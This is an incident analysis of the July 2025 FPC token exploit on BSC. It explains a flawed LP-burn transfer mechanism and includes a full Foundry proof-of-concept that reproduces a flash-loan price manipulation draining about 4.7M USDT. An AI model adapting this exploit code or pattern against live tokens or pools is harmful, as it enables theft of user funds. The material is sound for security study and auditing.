Unpacking the FPC Token Exploit: $4.7M Drained via Flawed Burn Mechanism on BSC¶
On July 2, 2025, the newly launched Future Protocol (FPC) token fell victim to a sophisticated price manipulation exploit, resulting in a loss of approximately $4.7 million in USDT. The attack, detected mere seconds after trading opened, exploited a defective burn mechanism in the token’s transfer logic, allowing the perpetrator to buy low and sell high using a flash loan.
FPC, a BEP-20 token on BSC, incorporated deflationary features like burns and fees to benefit holders. However, a flaw in its handling of transfers to liquidity pools enabled arbitrary price inflation, turning a standard manipulation into a highly profitable heist. In this blog post, we’ll dissect the vulnerability, the attack sequence (drawing from a proof-of-concept), and key insights.

The Vulnerability: Defective Burn on Pool Transfers¶
The core issue lay in FPC’s overridden _update function (the internal transfer handler in ERC20 variants), which implemented custom fees and burns during sells (transfers to the liquidity pool). The contract imposed a 3% market fee, a 2% burn to a dead address (if enabled), and crucially, a massive 65% “LP burn” via the burnLpToken function when detecting a sell.
Here’s the relevant snippet from the _update function in the vulnerable contract (view full code on BscScan):
if (isPool[to] || isAdd) {
require(sellState, "Sell not allowed");
require(lastTradeBlock[from] + 3 < block.number, "Trade too frequently");
if (!isAdd) {
uint marketFee = (value * 3) / 100;
uint burnAmount = 0;
if (!_isLpStopBurn()) {
burnAmount = (value * 2) / 100;
super._update(from, DEAD, burnAmount);
}
super._update(from, marketAddress, marketFee);
uint totalFee = marketFee + burnAmount;
uint burnPoolAmount = (value * 65) / 100;
burnLpToken(burnPoolAmount);
value -= totalFee - burnAmount;
emit Sell(from, to, value, totalFee, burnAmount);
}
lastTradeBlock[from] = block.number;
}
super._update(from, to, value);
The burnLpToken function, intended to “burn LP”, instead directly transferred portions of the pool’s FPC balance to treasury and reward addresses:
function burnLpToken(uint256 burnAmount) internal {
if (_isLpStopBurn()) {
return;
}
uint poolAmount = this.balanceOf(usdtPool);
if (poolAmount > burnAmount) {
uint256 treasuryAmount = (burnAmount * 10) / 65;
super._update(usdtPool, treasuryAddress, treasuryAmount);
uint256 rewardAmount = (burnAmount * 55) / 65;
super._update(usdtPool, rewardPoolAddress, rewardAmount);
IUniswapV2Pair(usdtPool).sync();
emit PoolBurn(usdtPool, treasuryAmount, rewardAmount);
}
}
This mechanism had several flaws:
- Unilateral Reserve Reduction: By calling
_updatefrom the pool address (usdtPool, the PancakeSwap pair at 0xa1e08E10Eb09857A8C6F2Ef6CCA297c1a081eD6B) to external addresses, it reduced the pair’s FPC reserves without proportionally removing USDT or burning LP tokens. This broke the constant product invariant temporarily. - Sync Call: The subsequent
sync()updated the pair’s cached reserves to reflect the reduced FPC balance, effectively “legitimizing” the theft and further inflating the FPC price (lower FPC supply in pool against same USDT). - Net Transfer Calculation: After fees and burns, the value transferred to the pool was reduced (
value -= totalFee - burnAmount, effectively deducting only the market fee net), but the extra removal viaburnLpTokenmeant the net reserve increase was minimal or negative during sells. - Reentrancy and Precision Risks: Multiple
_updatecalls before final transfer opened potential reentrancy windows, and unchecked math could lead to underflows on large values.
This allowed attackers to manipulate reserves during swaps, buying at pre-manipulation prices and selling into an artificially inflated pool. The pair consisted of USDT (0x55d398326f99059fF775485246999027B3197955) and FPC (0xB192D4A737430AA61CEA4Ce9bFb6432f7D42592F) tokens, making USDT dumps particularly effective for price pumping.
The exploit occurred just 5 blocks (~15 seconds) after FPC trading opened, in transaction 0x3a9dd216fb6314c013fa8c4f85bfbbe0ed0a73209f54c57c1aab02ba989f5937 at block 52,624,701 on July 2, 2025, 02:25:19 PM UTC. The attacker wallet: 0x18dd258631b23777c101440380bf053c79db3d9d. Attack contract: 0xbf6e706d505e81ad1f73bbc0babfe2b414ba3eb3.
Hands-On: Reproducing the Exploit¶
To understand the attack mechanics in detail, here’s a complete proof-of-concept that reproduces the FPC exploit. This code demonstrates how the attacker manipulated the token’s burn mechanism to drain $4.7M from the liquidity pool.
The provided PoC (FPC) replicates the exploit at block 52,624,700 on BSC. It uses a V3 flash loan to orchestrate the V2 manipulated swap, leveraging the callback for delayed payment. The helper isolates the sell to handle fee-on-transfer logic. Running it yields ~4.7M USDT profit, confirming the manipulation’s efficacy despite the token’s anti-bot measures (e.g., 3-block cooldowns, max buy limits).
Complete Exploit Code¶
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "../basetest.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : 4.7M USDT
// PoC: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2025-07/FPC_exp.sol
// Attacker : https://bscscan.com/address/0x18dd258631b23777c101440380bf053c79db3d9d
// Attack Contract : https://bscscan.com/address/0xbf6e706d505e81ad1f73bbc0babfe2b414ba3eb3
// Vulnerable Contract : https://bscscan.com/address/0xb192d4a737430aa61cea4ce9bfb6432f7d42592f
// Attack Tx : https://bscscan.com/tx/0x3a9dd216fb6314c013fa8c4f85bfbbe0ed0a73209f54c57c1aab02ba989f5937
// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0xb192d4a737430aa61cea4ce9bfb6432f7d42592f#code
pragma solidity ^0.8.0;
address constant USDT_ADDR = 0x55d398326f99059fF775485246999027B3197955;
address constant PANCAKE_POOL = 0x92b7807bF19b7DDdf89b706143896d05228f3121;
address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address constant PANCAKE_PAIR = 0xa1e08E10Eb09857A8C6F2Ef6CCA297c1a081eD6B;
address constant FPC_ADDR = 0xB192D4A737430AA61CEA4Ce9bFb6432f7D42592F;
contract FPC is BaseTestWithBalanceLog {
uint256 blocknumToForkFrom = 52624701 - 1;
function setUp() public {
vm.createSelectFork("bsc", blocknumToForkFrom);
//Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
fundingToken = USDT_ADDR;
}
function testExploit() public balanceLog {
// Step 1: borrow 23,020,000 USDT from Pancake Pool
IPancakeV3Pool(PANCAKE_POOL).flash(address(this), 23_020_000 ether, 0, "");
}
function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {
uint256 amountIn = 23_019_990 ether;
address[] memory path = new address[](2);
path[0] = USDT_ADDR;
path[1] = FPC_ADDR;
IPancakeRouter router = IPancakeRouter(payable(PANCAKE_ROUTER));
uint256[] memory amounts = router.getAmountsOut(amountIn, path);
// Step 2: USDT -> FPC
IPancakePair(PANCAKE_PAIR).swap(1 ether, amounts[1], address(this), hex"00");
IERC20 fpc = IERC20(FPC_ADDR);
// Step 4: create a helper contract to convert 247,441 FPC to USDT
Helper helper = new Helper();
fpc.transfer(address(helper), 247_441_170_766_403_071_054_109);
helper.swap(PANCAKE_ROUTER, FPC_ADDR);
// Step 6: pay back the loan
IERC20(USDT_ADDR).transfer(PANCAKE_POOL, 23_020_000 ether + fee0);
}
// Step 3: transfer USDT to CAKE LP
function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) public {
IERC20 usdt = IERC20(USDT_ADDR);
usdt.transfer(PANCAKE_PAIR, usdt.balanceOf(address(this)));
}
}
contract Helper {
function swap(address routerAddr, address fpcAddr) public {
IERC20 fpc = IERC20(fpcAddr);
fpc.approve(routerAddr, type(uint256).max);
uint256 balance = fpc.balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = FPC_ADDR;
path[1] = USDT_ADDR;
// Root cause: FPC burns tokens on transfers to the pool.
// Impact: attacker can sell FPC at an inflated price.
// Step 5: FPC -> USDT
IPancakeRouter(payable(routerAddr)).swapExactTokensForTokensSupportingFeeOnTransferTokens(balance, 0, path, msg.sender, block.timestamp);
}
}
Phase 1: Flash Loan Acquisition¶
- The attacker borrowed 23,020,000 USDT (decimals-adjusted: 23,020,000 * 10^18) from the PancakeSwap V3 USDT/WBNB pool (0x92b7807bF19b7DDdf89b706143896d05228f3121) using a flash loan.
In the PoC:
IPancakeV3Pool(PANCAKE_POOL).flash(address(this), 23_020_000 ether, 0, "");
Phase 2: Price Manipulation via Delayed Payment Swap¶
- In the V3 flash callback, the attacker computed the expected FPC output for ~23M USDT input using PancakeRouter (0x10ED43C718714eb63d5aA57B78B54704E256024E).
- Called
swapon the V2 USDT-FPC pair with outputs: 1 * 10^18 USDT (small) and large FPC (~247,441 * 10^18 adjusted). - The pair sent the outputs to the attack contract and invoked the V2 callback (
pancakeCall). - In the callback, the attacker transferred the full ~23M USDT back to the pair.
- This delayed payment allowed the attacker to receive the large FPC based on pre-dump reserves, while the post-callback invariant check passed due to the massive USDT influx. Net effect: Pool reserves now ~23M more USDT, ~247k less FPC, inflating FPC price dramatically.
In the PoC:
IPancakePair(PANCAKE_PAIR).swap(1 ether, amounts[1], address(this), hex"00");
// In pancakeCall:
usdt.transfer(PANCAKE_PAIR, usdt.balanceOf(address(this)));
Phase 3: Profitable Sell with Burn “Sandwich”¶
- Deployed a helper contract (in tx, part of internal calls) to handle the sell, transferring the acquired FPC to it.
- The helper called
swapExactTokensForTokensSupportingFeeOnTransferTokenson the router to sell FPC for USDT. - During the FPC transfer to the pair, the sell logic triggered: 3% market fee, 2% burn to DEAD, and 65% “LP burn” via
burnLpToken, which redistributed ~15% of the burn amount (10/65 treasury + 55/65 reward) by transferring FPC from the pair’s balance. - This extra removal further depleted FPC reserves (net amountIn reduced), but since the price was already inflated, the USDT output was still massive (~27.7M USDT total, per event logs).
- The burn effectively “sandwiched” the manipulation: It amplified scarcity post-buy, allowing the sell at peak inflation without fully eroding profits despite high effective tax.
In the PoC:
Helper helper = new Helper();
fpc.transfer(address(helper), 247_441_170_766_403_071_054_109);
helper.swap(PANCAKE_ROUTER, FPC_ADDR);
// In Helper:
IPancakeRouter(payable(routerAddr)).swapExactTokensForTokensSupportingFeeOnTransferTokens(balance, 0, path, msg.sender, block.timestamp);
Phase 4: Repay and Profit¶
- Repaid the flash loan (~23M USDT + fee).
- Net profit: ~4.7M USDT, bridged to Ethereum (0x5Ea46E4e1a8C466b99A57E00c0D342cb1F4f2bF7) and laundered via Tornado Cash.
The attack also involved WBNB conversions and transfers to 0x421Fa2F1fe768d9f7c95be7949bee96d3e3d6FE2 (~731 BNB, ~$482K).